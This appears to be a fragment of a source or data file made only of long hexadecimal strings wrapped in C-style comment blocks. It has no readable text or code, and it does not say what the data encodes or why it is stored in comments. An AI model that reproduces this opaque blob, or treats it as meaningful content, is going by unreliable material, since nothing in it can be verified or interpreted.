f196513da245f42c4b2edcc89b4e528ee6d2b9137d4420093e175fb043f17bdf6eca42ced67bf679a1d520f59752239ec5c354e2e75a21b5d3c51f74add0cce471376fa19c4a8a64d3fe08f6fd129b8490cd789673443f0a795191cc33f654eca6587be884a8f376c0977bd55dc48afdf9a446ff0ab56c08683b524f2993794cb21fa67c2f5e7b0504fb68ce22b12c9487ad294d149ba0831ab0242a5b6af0ccf36d57d792dd99a51b4e644e2b64cdc0f3ab0f96f2a59b895b664e03e2bee7e541c4b3bf904d211b0c8f7736ccdb5ee0a9c52c68ec7895d6e59e15b0ad7dcc4fa55ab2611717ca181696e06e527d0eb7f6a95bdb4bcc48a7c82a6404acfc5ab6a263c77fc9dc4d6c2ac7390f51802a1d5e6261f045c5321c2a3446372ba046c1986578506178f2cc4dc9af13467383c4042ac98021c21e7abb4b3a9e2bb59ce9a8cecfc75c0e35abf855e039f13c13686fcce57abf455929740161f8ec70d021d8045ba5786aa937d6edc912c39af8ca0e85543fcc36ea12283701524704b97391435e8a785e9c0fc155cb3ff46a78955d09becfbea8d49b527bf0852a3a400485530b07a8055b30e6122480b4973daa9d5d8f3d1522d5e5d8b4ab68134612dbeaa093c29dbe441382cf7a31b5cab3c5dd4e4297239a30a8bfbaf1ce33e545c11ac4fb6f518d317b46f14e4a454a52ffb6bdac02f44172524bdc4e5789fafff21c6b8d7490f4d57f24c54d184051e7918*/
/*4341433b970f6563cca6be9d843bad36ca673537e11503882cdb7dd6e655362908f84880f3228d10d354a94f0295388e80b06fb2e0af7fc3a8e6891af92679e6561997d78873d7fc21880926b940cf0bbd43704ac8484aa40c62584e0721b9896f4cd70c632baef24754a4352bec3f28593d9a227a1b6cdad3eb2ca91010d7436934b993ad4e3a4d6655086040c0fb2f86adc03656b82fa25cdd23d60e952d230e0a96c006e2db8197b55f536e8c4d31f3dd1d553d265b8eb9250773678fcf7b622194a5ad322a056a0b2f8c1ede778e3ab73773549523e8c21bbc2b939da908f2de92587b7a1c19b114e4b1dd05e1736379ee8e0007b7a70c1e3f65e4ffd28ca4975c40d55dbbb36dafcc30f298f79c363c67178fdb6f50bc67b913ceb071a407820dbc1fb8c4a7c20f76182edc0295d67c55ab6fd617aedb2692c850c52b0ac3412c9f66036e4773775d8592e56b5eebc9b702785bc59fcf27dd59ef6fdc69f2c021f167d025f44fb47bdc8748efeb00305d250268ae8f190e9794a8e573933a1caedac26eb49b3b7c55031458ce5a483d80dcb9b692049c63927b586f6eef271770e5b2af4700915f480badb100688d79543462fc53b99bb98748574ba1b951a7f5401be5e747986e7f762dfefd656b2d710e9bddf8ba4e5bb52cea8dcb4d2964cf17c435d9594d95e7595f79f28b6c67d0fa9317cd3bbfec88678eb46728b755a1f05626fbacc1624b0fca91d74d769938e9d48003f7e8ecb251c05a51b0e8a23ccf9a72cca925995c570a837bce0e239e853d4ff952e1f3ca53ecfaea028dcdcc4cee3b7f2eceb07f28bff517078da087aa008fcad8fe95bf97ff50434719fb6e3a09fa8f6c69805b367b88742c794efe93a8defdb438d5a05c555a8bfa7b4fc80428aa26019b0252b6b72c31d394f34dbadbdc48ac5a4c46923822ce6ab75293f3d4c2b8c9e4de3470a3964fc50024829b5a35798432a1db52fb37fae3b81b3bea42ecb24d2a74a5008723c3b157d7d40c7fc6a813a7217655306c88e43e47c55f13bf743f33bc6097c4b8b8b0defcdc8b7617df26e9bba859ff0b97b1430c0a1c1f848b8161c84f1dc229fab8f0d21640f4776829e1dfc4fbbf8c80cb3ecdb173dfbaef5c1fee376f2aad90c05492b973a120c4b034ce3808467c4b00010f98048fb84e5d4d288ef67f1a8d7fda20e964f262bf562a8319d8311fdf17cc9ce0c38f67c1157f2791a4ff73d42e3cdd0ea18cadae83cfe58dd85c1729fc603906574f975062378c6bfabef5cad78cc2bd7b7ed7353b5aff8d680a438293c36fafca844d3f8052c7469ba413c43924320e2e4b4a11a02cfe8888021938f3ac4b68153c7a6bfced2f85e74d8c478e4cc8e6c838dfea19e8acb474b89e456dc832734dfa0e3355a1cc929fd44ac7bb4d9527e3f987e44a5eda132e48681b1a689fd2eed9e08423d1ebef4d6318fec9be4b64f7b9e8900c10ad983b6383ed0df438974d417d75b80e2871d88dfbfd195e744d5a6cf06d9b652511743756d0c7dfd6c41e4977912fee7f254de20050c1f475344815f8bd5ca7643680d1566039317f96d2d5d3668cfaf5532ad65eb1012b8feb06490770508c9982f00daf7229a85673e960a3a811e00f02143ae8a0f14b787be33c5bcd7de8d1cd6f860b576ee00a969dbcbb3c3646ff3d045b58a86b489ab72a98b023795733a75da721ad428c26b4dac9ed9e5a80cd7f11feca79413845e307d5806a78d615dd26f569bc7be8f7520c4b9b8448928fb530ed2269a192a6b56f0b08821c77470f0ac834c1e5fe51875a5bd158e103730d2ec25cf258872166462eda0fd85c20ba11bdf51848c9a991d1808f5a8cfbd24bc0b655b81ac4dfca7acc9be0328d8678daa8046af3a5ae2d3d7406a5d6a6f2198535e4534e8913194be1ed40634e0ae09af82e81d37b0ae6440865f9a47df437522397c263ec8e0b2dde515687bcb9dca38d1957c5ee670d118ef3c0c9d227e6cc7beef3ba504d7a0653ded89acd61a1a130548f63e4a2273df4327f406193eced6a5abfab9c3fbff9490af8244fcdf90af0e00322094250d0736682a6afb5bf943d96054edb5ba0d0b42bf42f693bd85d0627a675d5854409b748a6a6763f2631d568d6ce4e9db80007250ed7aa291678a08a192a6af371525c4a14a7e247e215826fa5b1ccd8e42d35351ecf6fdea10483b7e01a4175b3c6d5f526e3de169fd14397d583bcf5ff0ff6aa005b78ae2d1a55b20924bbec85340a27c57d76be612c20b36f599381398f7cef3a53e51860df996e47f739bb004a17a6c2c4549fb7a9973289ad3c6bdfc43cb65a7c6738a43eb5703646d0bce6d504635c9c08c482758b366a59ccf3f4793adb78a1855cab1e26c223385290f1dcffbfbbaa335be4975bf510ca69c0b75fe1b27f436fdf7ca6218944dc388371367a3e3d43572e5106dd63ef3e3798a0d0b2550d1e322c770331da014472c045221235b2403f6a70bf6b48946df5b75c111ad9fb6c4bc9fe81d6a341680d511db0f5e3b838b53fe84359ebcc36852efb715bd7e85022dad0500e47ab19a28dadc5de3c3ae394da473fc71ebadccb10dedf4f22b53d906b4d592283212243728487c44e832289be0310a3a30501492829aa2b637cd535fc84ce8ab095c5466a93c5b7e28a0f4c60749fea377c2a7237c4aafeea2c14f7212a80d52ed6f8838fa01563e8cfcbeafd4f2a613ba248f918db38e50ac34770dcbd851e7be6e246c2c6821308eaa9248d56e3e68af5d3000ee62ddfd4530600c4da9757d67bbffe728f64a6afe90fe8d5f3b8ed2b86e5*/
/*5f229d1c17b27bce5bb46ea0668a734b7ac628f6e83bc7616e083a374a370656cbf444098ab9864276fe27104817c130ee519cb972cdb466f461fb7a0bc6f398ac855c18a68b79c7c9119e390574a3690a11298d0198cd0b976abc16ee2cd745fc80bac98019e12aec45ad82df8fd29e83b61a1d04f241a2aaf159c71ba53965cae0cd5622999ad888857efeb1213439b143e716e9f2326234f94cdbbfa472c49c944eb518b80283bd3a27542f491e0a52bce22b2105e0fe6fe0e88c11933f60625641e722029146e3af5dfb5a9087d18788e0e91fb28e3121d5f4c5c7d0c9ff6025fcb0472627f54c7788ac9b7e2f9fdb3ebe7f2e122561db47d14f1ba3dc60dac61670144e0ff99bdf6646a8190118f2d749bb8f193dc1b4abfbdcecbe787a8ed71409bb3c0d22f0d7275eb9e713dc9bf718353900b941b0b5c4cebbee7cc41b7c34b24af4ab0f6e24a5726143bf9dd047fe5abceecc4d02ba669057b0d38f3f8f8deb51947c51025b52385fa3b0b14602aeeb40b1b62ead4510924fb1dafacf8b4fadd705d851278e603691293660591a4cd22b92d9fdddf8d4005f35a58db451be141c594baff7784f210bbd5ea2c87ea96d70bda3e2a8872576ff7403d6d8e3a7357f750c88686796b985efaf4d51b6b1ee8b92263950ceae2af3e99f1c4c5e8a5d305953c820f7a76aa6a86aa5df52eb4f9200d05245b7d9cf7d8e32b8091f0f5e9418a9ca429add649a86b3ea7d7dad7f4430ab6f31527876ca27513c7e69df936101218633724020a3701ad34444a5aae8084fa7518cb7cb9e1e847dade4c7a6d0d7ad1aa37646148c9ac29040b7b5d71a43b930f945f85669e2152254fb5a61e1fc1aaf5cd77760fe1e610b4cdd032cdcbd599757584dbf7f4c746176b13317ccc740054479bf1bae921d769279ff6d2ecae76c6acd3299301ad77183df49119d5b00f8a560812f1d194fb76b896be305ade0ed33230307b659b49954878890fbf21df67d97fcfc14664287b14140e357b309982662587dc402491d25013aa0bf0ae8bb2dfd958c905626ad6f35ec440f38dfd87a29a52dcd1fc604f5d1c6a4684ee917b65724a592780f425099fc7a1307f64e541bf051d71d3142caa69abe5d4e8a323160407d23fbc919d93785e30691b426fea46679684c2e9f07c733edfb7964a1c97f0ea70aaa768edc93d049686c385be9b272f2bd12a01acd458941c1211ad4f651f2e8b7f98c8dcb6c20fcebaabc679ddfd93ffa9ddd3a2a01a4ce3d4438ff0c560db101662ed4cea9a070c4184a0fdc93616c2cf9209b0bf67cc1d9faf96a819262347a2701787164136c38f4ccccdf46319abcfcd20791cf4f12d0dc610e3966259d63fd44af7d5623e34cc9251e3256d76d5b2fcbd616e80553ea6791a2a1e20380834e0c56a2cea874b75ef9614912429e72ddd4959d7572c042e3234fada117505d28bde9d4acc87fc3e9fb19196e1b8fe997c56e2a31dec9045fba2ff543d60d14126155c17eb8ee4c3fda47995540ccb3b0583810bc284c545b6978e2bd29b7a256781eef2843d5dc249796b6fac0ab1226532ae7a0745c6d9a6fd5da32a4847cb883a08724a56e43c199e4138c94b50a0d5637b4ef252f9687071acb831df92cad396ab2a61ce112d0f0397c91542b49e12dec765141002d00550fbae746171dbb3b9c53458d4b5feaedf9905e57b01bff2a8619a9d4f3b6f04d167b8f6a620ad4df44835f96e2ec47c930589f22f507554971bb6a4a18deddf6661a1c03c0d560caeb06a295c28f9990d2b024f9336c9f22733e6ad47e02be4c53f32ce3a0be892b72776bc3d874569cdafed9efc562f30ce6ea17e129db9ff0dd1bd6af46170cced8aefc7ef79b48a44b212908c027d45f7cef4e5f3520f26357b2ab1fcfb95e436286d25b80745ab09b436d20b59f8efab8fea3444aad8fbb376ceb0daee649b926ef91aff1a986cf594df05ba4feb2910d349f67b7aa33f9c75a5940e2d23e9526ceb54d9493b3f1caae4e364124647c7f6e682a2557361e75dbb0fc46d2508fca35ecd733bf612eb340785616a9cb822ba712b87b6ae72e79f7fa224fb70059b34d87068a6ae62b5605c1da786210ce84a181e1b30bd2143b0990c8380e95cc7290dde989e8c8ab6271cf895e6f8a23af86ad4775448067b15a000ac57d9354af9ce53c2b37e7838847685b26357ca6c69afbbe5fcc80681882243228a84ea52d15a66774d13fcafc3243f634e5192e48823bda2834b7d529505a082ceee0e69bd650fb69ed2906167f9b0d6a001e2edc53e5ed47060299ff1010b44682be309851a9c801c3d55297919eecbc17554671712a674332ef6a70e2785b575a2fe7d2e7f7e7b49e0036fee5ee030269c39aa4dddeae4bf162293adea7406adb5db4a674b9b37be8fb54f7749a3fc439fd7263a6379e6eb2c19fa84a754ebbcf8b6527a13dcf77ced4d70a3fb284e41166432b039d6f89c9c0ae579f41fb74248c5cef459de3cd511095935f5f02421e5e91a801858444dad4caa048d7d70fd84ffd3a2bfd2f98691f14b110a413b6e385c1869900ea5e09c422fbca1a57727c53dcc5675f4203269661e0989059fcba1457b0a739339d0e7076445581171c41e97abbf0a490acd05e09992f225a62a2d2f4edd20658801590f338896cc2264799c84cd4585f15b2b59e39416061247b0b1431e2d2909f307366e0728c2cd5bcae61c0c1145084ceceb56bf5fe1fa7778798879e0ced1b5fb17b6d89843530adf7b4dae4f4dec14a2bbc2ab0341c10bc330ac0995674fe11da2fe1bf333d2be19a11db*/
/*65673417672982fb5ec44973822269b19addf0dc629f467f4a36fe38168800466e778ebec8954c94ad55e57679d6023d0dc2ba1307e040f995746fb417777b6e8c6f44897d55c1f2153b50378b726e2e5244ec46590985b687528aaed4a70ce3df1078c2fada095370decb107c7bd4c9cf8082fd4b521819c2fd870bde1d5f3b91d6147b78f46036052d78867a70b8ea4f5ce8ccb52a2efe3165c2a0b93a2218d50921aa9a46ae3a8840be14602fc5dd5fe18663a13bc1398b3154beb7e85ff15893a59ef69e112a93a4357b28f7ab1bc605311d33230917c8828d666e30a712dfaea511b3ca3b11ff3531a452bbe344a5612a44d9ad2f5ff2612e63ae020bc9e577c96e6eea6acc8ea306c69b5e833d5aad99a1fd35bcd8b5e2d0a1812ee00c7f49fc1ef9afbcd705b93b5f6261ca6da823da8cd04b3c5580412c9c8e2a737366cbefdc578a07a051815471315441027b39f3eeda5270dce41d76a1faeef8fdf4d413cb17c77115ce2bbcfaf5db648b29b3a2280d4ef5749e7c0804eb2a64aef9d764da7d21fadff23f3e119203275f186f9db4f0a96d03dc826fdb62a14782cc4915d7798d8263e16965279edddefa267f46047c0f37e8dbd0bc1ff1165e36ac91a2a005222c4579b27349fb6106333097abbc3eea4920c69f0103e434c791e20ca0ec50e6834334f6530f8a8c036e94e107eef16ab340bae7537161fd2ea8e28cca0ffbbb9cc2c5e9276817aacc298b30cbe21322ac7e51788e9bbdad2fd6fd67c784413a531e7a8166501f35d7a9e327ea84d30646eee165c773856e9d95775b1e6061af71e0ecb329ab4596cdeb4b0096026c6b9c9fe290a2ed924d352f8190606c38de3e3500fe13eecea747dcc6109a6a572e2547e05a6e06918d3863172cdfa1c4d40594aa46541e2fcc49b06d3891f5d786a25c714962e9518abd84a07f5256b39dd95bc7d1c5740acaf055233fcec1112f63c82dddbfca809bdf797f7b45812dda7b1d59f1de35cba22c737c7ee8d1f029a91ce72a69024829c2d38bf1e30a2451b155cbff62a647906220df3778fa178b6e87ff325d6c64adfd8ca53405d8a342f46a28af539e2dedecb23306f38bc49471d4d4d8f8b36a7fd30c8fdf0887a24055081c5540218a64cc39401e91305aabed5d1071157a6d9b8fd9662ffc9e440a7756f5d6d0052a241f33a736c164016d84f154e9b248fc4366f4619ea1989649d777f0b30446585cb73476873e651b571b87835bfea677569fe273dfc4b90cd81fb5bc38c5e657fbc145d1971ce0b9626e1a38b35a897388f5c9c356fce9115b17840c77c1ec41cc147535aa30e1b7d441c738b61a952f8896b907663d5d81f6e5710d29659726f8def01446f917d943a74cdbba07f65ceb5ef61757d874ba81da06bf3eefa5a662438b5110d60b80f0c15084226adbcbad0de73a0536bff5acdcd09242ae80599d9cd97c42b851aafa4d1d59edd13e5be659e31c3c27399851ada945ded41e52b4195b62a457f697350454fab5fd65ba141145c799304f121fe825f6b465b70958fea639f8aa45f210ae12ab2b4058ba7442acae5a7053c9befbc36b91f6a8a1593ed0a51deea915039388f5be2c069b9fca9d9efc87d0b6d93af449d1495a9cc4cefd22ec8acc0286569d1a28c5d6eff6032f98ccd76923412b66c96db57aff235b37709df36658a1d3b9c0620587e62ba02503ea141243b070aeeae6eccb84ad85193cad5cfd0ab1ec335e09f5ed86170c65d692dfc946812c4cd96f01ac9ec9a74b1436f40a33772cf128d9412824132ea5c866e3a0d3566a4137c63244ff43ace960039a1b7f5ef42ac35f4a36a0d34d48287934c8b672adcba55d0a6b30cd7ca62a619dbb0c7ae6ad9d85d6b0d77fc1b2a5b6417f00520e6b9e4ec970f7844f97c4575356a8eff932e71c10322f42530637f636ebf9bbc2ca6aaf6b5963948655a4169a616bd5694bd50b141223fbc5914908b749fdcecb06fba952f2301a34f282ee42ab90b3f33e027e4d4173ace5da74f9c5de8efb5b5c8a939900e830211842ec38873761192e8df587cb73676d49087342fc18f087daabd55cff48cba8e91fa3bff84fb1f9ce205811ef0dc7fee7f65bbc42ebaafcd7da3103caf067c8943c391814da1141c300d3b70d3d0a3d9036bacecbaa1aca804023ffe28b901d5db794edc13c9a621e802c9a9b93c487fba123a7576cf5c49fd135974ceb73572d4b0ffb7309e14e52571976947819abbd8ffaeeb1528c16c2aea2ac21b6abff6a1ab5b0cfaf0b2e4bf344c4a1ae0d4e20f90014ba58370e80625a7de5b68e58506df3df38c38dca4df4c88b523d717ca6165573a8c19c629cb6f78441487c6b294f2b2bd6bbf46b89bc1e89e805e75682252d6f3b30fcf6c1221dc05e26f235c114c068f54308de061469244e4ad9665ffb370571a2b7d522c16b023599a0cade7a879b4a0df4f7b19dbe018a2358faf721f9866c8e56c591df0df25a7ba0398336a740daca2bc1ecbc035e1d0407153b8166645fd81ca06ca1311730c086ed4ffeb84aaa35aec780aa9a724cd0c0a1da8bb3de0d85ae425b015edcb15fd893145ceb9107480392f34861d89d469864596881a4f1d30501fec912679df85916e14b8e1d179d2e40515295fd1027fa8ce8995b578b13b68671b98360519ee43ccec9b04464e9c0e78847b763797f936bdf8bc5de1eb73a38e86372c3384fa7106491820cf7ae56ea20f1bbb58cf5e2afd1dc9e8a8b228b978dc427c064958d018e7637c3c8828beb463254788096c05cad290690ef43afea3478553fc183fa48fc*/
/*ad69e5ff8bcb0d65255f1f702701869201b6edb0d084c2523c6ce615fe5e219bdbb4dfa70d7b17f7d5b8baa26a9e7b15164ba3337c311a02ede96eaee572b92f887019003a33e07469e4d93a10f8b524e0816b2a267513f19941be7b8100fd77ec6de91ff991761dd0b8fdb3f567ac7b747668debb6aa16c98cbe1d0836fbe379aee9cf62433a0538fc8764adf30a3220e4e0eb9f934fee44fd2e2e0566d37b6031974001f82e41e93e12bdfae937bd0c40c3c99e5cce02f316da3e5c98202ddfd5f6e0d5fb44ef70bce555e351b52db75f3eac5060f6e5147f7ef3f5747f26b754e2d31f5e62bd2cceba1662f480327c8c3376f89c6996707bdc992f79733a8548addad23be04d16ca939aab97bd53dd89dfdf924e6bcc8c9840360ba7a4c7d5abf9136b7f7a53d9dd49bc1927598ad0c47f055764a1d322d3f0177c8b9e9cc4cfbc02d6f2cf92dae22f48b722eb91698d2f449ba0d7c3537a9081136113768759ef0de97e8c86617b0639124542421b23ce5ec71307fda34556257d0d2399d971b2d116e64493dbf76735165c285010a1969877af59ba6b4d991a33c13cd4ab771dab4cffb61c4d92bc7c6feea4a2c0aab7b796ea0aa7fd55b4ad8f5b65c96a69209d964f195738ccbe456b08bbb523f8b26a619859187c126f5fbdce69a82ce0f0230f2940a8d71ceaaa1e82d3679e78b6d5264fce5390197a02c386d2f364d9e55289b34da44da7b04c36d573a619b9e4e7c7ccdd905bc882bcf0b6c6c470a6659e2f7d4f76b7322e73db5b00a4c1a8751d0414eaa853b4749fa926d9ae2c422d9e4c43667e11f9acc030dc4b8f3290d3c0fd22ff5678dda1f092ec476c501d278a5009bcafd6fdc0c3c93fe232205018aeaa327e176b3de4ffb5b2d1a4232082c8314c1cfc01a4a24082f266c33247a7d6e7fca18abc4adb79773866fe75be66adb41c73f8284fc1dd555b62199a7750e68270752dccc4736729fa0d6dfa5f33c3f70937f23e7dc6052cddd758e4c6cffe29b4b2708cc80997c60c3f5f447241dac7b2bca3b247a1f32c7b9165395510f3a3a3bc3497d39b533dfdf59d748963dfc494c3537e560b568637549a1b4bfec75b27427d5722ba3fe854faa8e391d7d0d0a7edc7189151c0e92599a4042f7be5bcd9cce41a5d280c44c57f02986f53ec14bac6ba367e2bdfda630cb7519d8ce143ecc3716e88dc978a1cca0c5b076eea2fcbcf7e9d9af301a20da89b99aba6964a859be0d3e74ab9fc7d3042aee3c2227ef7d8a33d703a0bdaededc7d45f5a75b26e4c1e7c76bdf04fbc8526a57cc26343fa24513bfd5e7126c8b581f4a994e445fce99154241f3dd8b298203fae3990e9d48d82f046bc7c57cf6c1377aa7303fee7287ddb064c8e457b378db60ef7b8428f2a7366eaf78955204c8d2861b2900b0aa887c6e94e1984077689a37d2e5eb952a7037356299f8bf4e8cbb37f39e04d24f75575f522020119dfa04b0d7eeb7fdca88955d3955ce4fc653b35930c52cb0d148f4f76b60d39a61b736d82f17c4af1dc925620abc80d911a5f3edf6da65cad844b16a77b5b78ff82b8999c87aeabb5098b16a4e0485c2737b9417ffabb6e23d27ed976ee1b7d4f6b3b90920721c73d1ec54e3b3c803d63081636e817a4e403ea9e7648fa16f218642433af348aae6fc16557430b8bcbae62f609efdb89cb44368e31dd9d077712fc099e6d49e6edddb8efd19f555d429c3fb28035d7f0591075caf0b736e9163087d1f73d4277a0420568edbf93fb2debb07dfdd16501936a219e9d7b8724c2b299ca23fb71a792e90f780de02ac4949b34249948b14b21a8c50dd143addd774f019a1a10d2842533de94bd62b93ec19102931fd5c15664cfe5c1a02e7b2017093d219f85d64b6925e82600607551d0d08f0b3389e27b0211e69cef0e319569edfd07bc66de4adfa6a77120ab22f8b2a97bb11e06c660901e55cd4fa5c5c168de8434289222425a77e03a64acefbafc0983245ff8db6505376d9b95670a819a52d4094e286fb70a03842664482d782473206c7317304e25b9a63d66e86c3c3cc00d56068c6f364991b0d68747e1a69e606fc0a6cb16398f930115cf3e8916f02132da920b9c75248246fa32c0dd0e17b6517e6e06ace09a1a33ddd3fd5d7d9310af3ae9d323c1bb48cf925d333416c4b08a92c6f87ffd0bd9a1b8920b4c4fb812733612a8cb54e0bc7be4d284f8d9f89d9c81e420f10de39664b47f16630c9c906a08f25d21019d8530bd68b24bb6a80f5b97b4f41198a555cefcda81516dae402ce239026b66b88ab74264c042b44037dd21de968cc0bb3a957c10e109b22f06688ffbb70d87287c59406a2c560c72c7530155916f420757740a20262a57da902eb51d5e47a7dec508c1cee95391dddf6c14bf98b45336c31725ad4cb6794d84f0dbddb492567dc09c38bc55e83be6e8a3715d9bb057e0e1b82476df1234be2e9b2c876abc8111310f9025bf1ded2e03c438fbe2ac25726cb75df090a436ad420919195ada43271ac86f378b4af47c4c5201d46a3ee8b4aa1f87565e526d107f7a3957b10a41b60937bcd36cf2d15321e34dfe89ff78c1fea851a73e9944af7dc6f8c80e25ee582eb3017d0aed5d11118542c35bf6937ba712a630829215a131ec4232379c70e1ece979108323b9492fa4cdc8d968b6d760b3434f9c346c8fe4d6904cb0022e97c397249c2223ca6f01a9868bd69b0e9cce63ecfa9f374c8cc4127d3782aa0ac93fb07d0e22fa179e4dea8cee1f012fb79d0088ec5837f54e2384846fda120e80febbb3d7e736f5d2f8fc188*/
/*2c6890bedb144d18896842476ddc4d6d0fab1450768c46806752038c7a62d7ee7b22c21a99c5fe6a54d4bd9361d093090e5e3c98ab2e97955b44f770dbf06b8e4c88fc4f6f7858d6c4b60afaea702275ce414fbba5e1cfad6407e0f93641001517bd933ea898d76a1541e2127af93f93e15751ac2696397860e78a2d81720a56c92d9e36210177d5d3c17fd63fc91f5f74008c4727193c2064ad89761932f1e2f2a092f31f1112d404f0fbf2932f36cc0b6cdfcd6d0e8ba80337754ccdd6c4c40f57dc68dae1758379fe7ebdc9673af254d88527720cbb5166baf6ccf024a96b99eafbea82373911486491b905fe828d5df7ca753923061a8056726085b45274634048f0bd213f07b524e3d45a7ac534cfc99dcb13a467161889dda55968be57e854fb6ff65a27e3b52e9e61a98b1e694fa6619e9482af5a1c052eff72fcc3cde2b7fa7db9fd0896b0b76b711a8fe31525380e316d26001ae5e35677ca3e40dcb8c4544bdd62e922db675340471cf37b83098c1c18f643712a65f0cae16de3973a3e7df00edbc237e743204d70fa8a9f26dd8b44a587766e3fab05c38310ebdbb702e69b07da94313c219f149b8f4fbf707973f2435c4ad821b76a18f25fe3ea458c43a1e9576fc82a905fb83edcbe996b924d8342b5669eb3a880787e4e40312bb20f1b08425c134f8901077ba7fce2fcd5e83891be66aa764cb42c11fa2bd413f57fde4c5dec350a2f3396256c226d9da5b0e32d764eb562d95d0bbb62aac81b6e0afc0e2789c79e596433e11c0cd38e55316f1df6504625d918f7aea77c425248fbd9397d599b4cfd416313c17d09ef03b016d7d26622527205039cec9097cb2100d10b388dc39b354f67c83a051b254267cc2d5f560cafbf4acd2f6b0c712adef7c73f7cbd3c5080109461c4de737ab71c213e62db8da3f570b16779da2749b1f2142ac804a4162cfcdf5057c64308a98c3a812cc6ec1e9d27b967d3fe6a08202dd83ef7db18d2fcc36135e980a8eeea9be5c957a0c1f5d5c8df50bb09266036c57f168130d33ca2440f49856e78952e592da0a6fadfa36e118c93548eb609b8da60908f215bc634d0bd320dc41574748aaf2df2cb1806d8dfbfd4d49adf9acd8394ff8a310d15974ab5d0f8bbe320c8f8b626b12be74767575754d39e98f3692f9ca9cd997ede847a7f58dbe5acc42ba5e41ffbf2057fee81ac9ac8f33159ed6beea8c7137e9032282d7f5d29e9ab009cef16d15daedfd9b91e1b32e8a18d587594223ec51b2eafc1cf00bd5c520cb0c6fe90821976bf82b23a480ce89fe7d242ef609d1701407365b9ee4afb848b6e3ffc3ef87abe6cfc2e3b06d78bba6f7f278e8ef0ef908cb1676caff21855ba1a6d8723d1df957a0e1d0cb14d3db318179c16a91cfc2129b5f69a74ee96d290adae259a4d96d5358837f2280b167564fe52ca1adf328983e88b726e7aa894a468df0f32d9ebb4f2e2ef65a70ac16ff21e1a0231db5535783431cb2101bb1ee268913bc4a5b026eec0590e6650c6672bb9c92b92c0e496a9fd2970d92efff6de9c01b2229fe37a71596760fdf9838b0508df4ec113b39b12c14a1fb8883be7a22dd3fa73bab41ef8481f89b551917598042fe9230bbd8987cb7af4193112f4dcbfee3aefffa717de46894ddaec9e033a6f9576ab7c7d3367269245875f6fc43bd51a4256f8a36046746650eb91e4392cea2e4ff3b7dc06c9e23873a55087ec3ac870dc4e1c6c95a1f383ccb01062fe3033ebe84cf3a14cf5a40c8a7d4585a4f49ab8cc08888031a00ad6a853c688ef611756e55226048aa911b1ca52d6775701f8dcac84e1e6f4529ead6c40b44f5f59530294eff9f9f957afb54beaf667bec225c506d35a9a29bd6793102071a994e9b9ed0bf362bc6cca163e444038860b4befd7e456f07e8e9a7e59a791b0563a14ad4a841a3f0cf701f94409fa3f950a5a902038c5c99ac71bb405da4b7e64184855902352abd584c6094c2af158152b8aafea2df1d910cd6e572b561305e7fa1b9b7f2044ab57e9f72603a458d15a6ffe2bbfecf83f0e99ef668892ed9a63ad21df32b0dac476ba6c5b7a53a5f80ba4bf91b85fc7648f99c321e64959c79bcf00d18e77deeb0120dd112d61cf57b99c5ba1cdb5e9489a2e969b80b0643da1d0ff9f3d9b82ca0e8e93a99a8d072f1a9f6864592fc37454e8a4759d5844ea268eded9f5bfb1bc83de8a9335e3c0cda2515f0354a1bc4f230a4c402bfb5335dd279cd0c5088340e4ac4997d03f9a7a25d85e401e28ef4de2c509443e49acb81a35c1e37bca732bd72daee2a30a2d34f4d966acb3ae699fc5483bb529731ef58e684689cccd773276fe9eafe8d710ff0ef47fc8af6ba1101f5ede438efbd763911d3aa0deedf130d77aa8496da5fc513bc89d8ad3bccf69c7435588d71ed4d3eba6fd652fad655e83523d82ec4d1b84f22017e09d7f2d1685c406095b28beeefdb3d2fbec80491401721b2a3d6049ff5d5400b0d8b13af96efca3527c11204ec3b14de6bfd57e8af29ce7416f9941bfb6559fe79a71a1b3e03d295b4ccd1c921efecb3d9abf4e365d14194603e6d58220ab5284c6807da4f58f248aab4b108d73fdd43c484d1eb296b284691210fae8a2ace71cc16d346b6d4c61d0167931664e3e9ccee33bd2a6fa0ec151a6f0c3ff7eda7a92b1e2724636117bd12ba62d23e756c62798fd38c34b083391ab77fec2dbff794773a952487edf07eb98e03ed1eeed883e7a1fd36e036c6eea7bced60099fe422c86130bf0bc5111bb10b9c6a7b4a55e39f2742516aa7087dbdb1d80f0c6f0*/
/*7b6eb95dfe29188ad4cfdfae2c4cb0e8ae68ac01e10200a2c79a9d29452a274e93ceaea7e3df8b87f8608d22f8d712d1f90d227a8981db7196de13e0bfcd5834e6614ab03a2cdbd7302df3ac51bfb3b46e7dd2977d0b5c08f5deee955b3ec6ffb4a5672268f0de1e8951e8b878c1f9c979b846e493740943413d28a01cacc892c83a3120da37637fdcb091d7f61c68e1e5113c4d503f5966e1851c0f0c5ddb45f81eac87770b1c52a44a10c46f5bee90d76809410f4779fb08483990dad73af7e69d57966d43a7fe0110ec456e965ed9aaf8436c99b5e9cdfc97fdf8d4d856d785c8bd7ae57af105366ebc83edca22e9b38add9f46549ae22df61926360d2282d936bd4207c842ca3c9c14b2ba699b03baae40fb44cd79458b301e8546118875275ea0340788b57d5d5e041e8a9f963a1919c8f01794e2a75ab5662d8530cf92993fd1824cfbbd3ea721ca1f4f866a0d09c9bca1a9b7214f85a2dfbb07943157f9febd2afbb7b79056707b5df559b5238f2344d7543cdad44cc81b1399a9dec7edb4e6e07234400f8daac697485c6cf05c3439dbff0db28dba269b64fcd37198d519e19fa0222d86d96b4c0e608cd02e88921224bab2afc09124679a55d481cedb1ebef2efebe9338157dc209530968ddcba447166a2b8319bca5977d8c3c84d481990ca59c803c2eb92236f121743a840e5c22c552e3f7386195115b25f6569805ebb86a7e2969b076f27a2e6644b1bd8001a6567618edfada21470ee27705a8e91211fccfeeca3c3d8965e5cf34186b6d4a151e3be0af058db2db3f31a28003c3550e600ba64ec76e81be54102e50f5307cb167856d80ac1dc61a3a5c99171fd354a5d0ec4e11ee4c8fd194156c903f84aaf7a129c5131a814bdb085c77b84b5ecc075f2bcebb2fa0037cf38c2f69b44655b6cde0b2fc5a634bb0172cbe2d25d608ceed0e0fdf359e152888a9037d91da2c67878c6c6d8b0f4297d46b3df2e5ba08e2dcea69457d77f6687aa4dd7c097a573933003b200a02d9e8dc5de952ff2375449e57b190d02269065044f5d0a0da13f8a1e24133a28c6a13d0f1df7960163699c89b805faf3401ccc4ca1af5be42c7ac181f79327a041fc71043970f86879caa6ee04da54a0b233bf252f35858f5d33a04a827a6794c2867d45fd1da103831e79b14aa8232ce6bb3cbc8f8dda50ca3c35ab572e9af84682e9064fcec205d1c45c105c2f7ac0251ca9ab010b883609c5e7004518636814fe8b0abb0b096bf79c4aa94b9b8e42da1668ec49e14179469a202a5bc50262b0dbb6aa4d56ce3ebcd5fa6710cb59efa444adac204b64e13be0c57bcdbc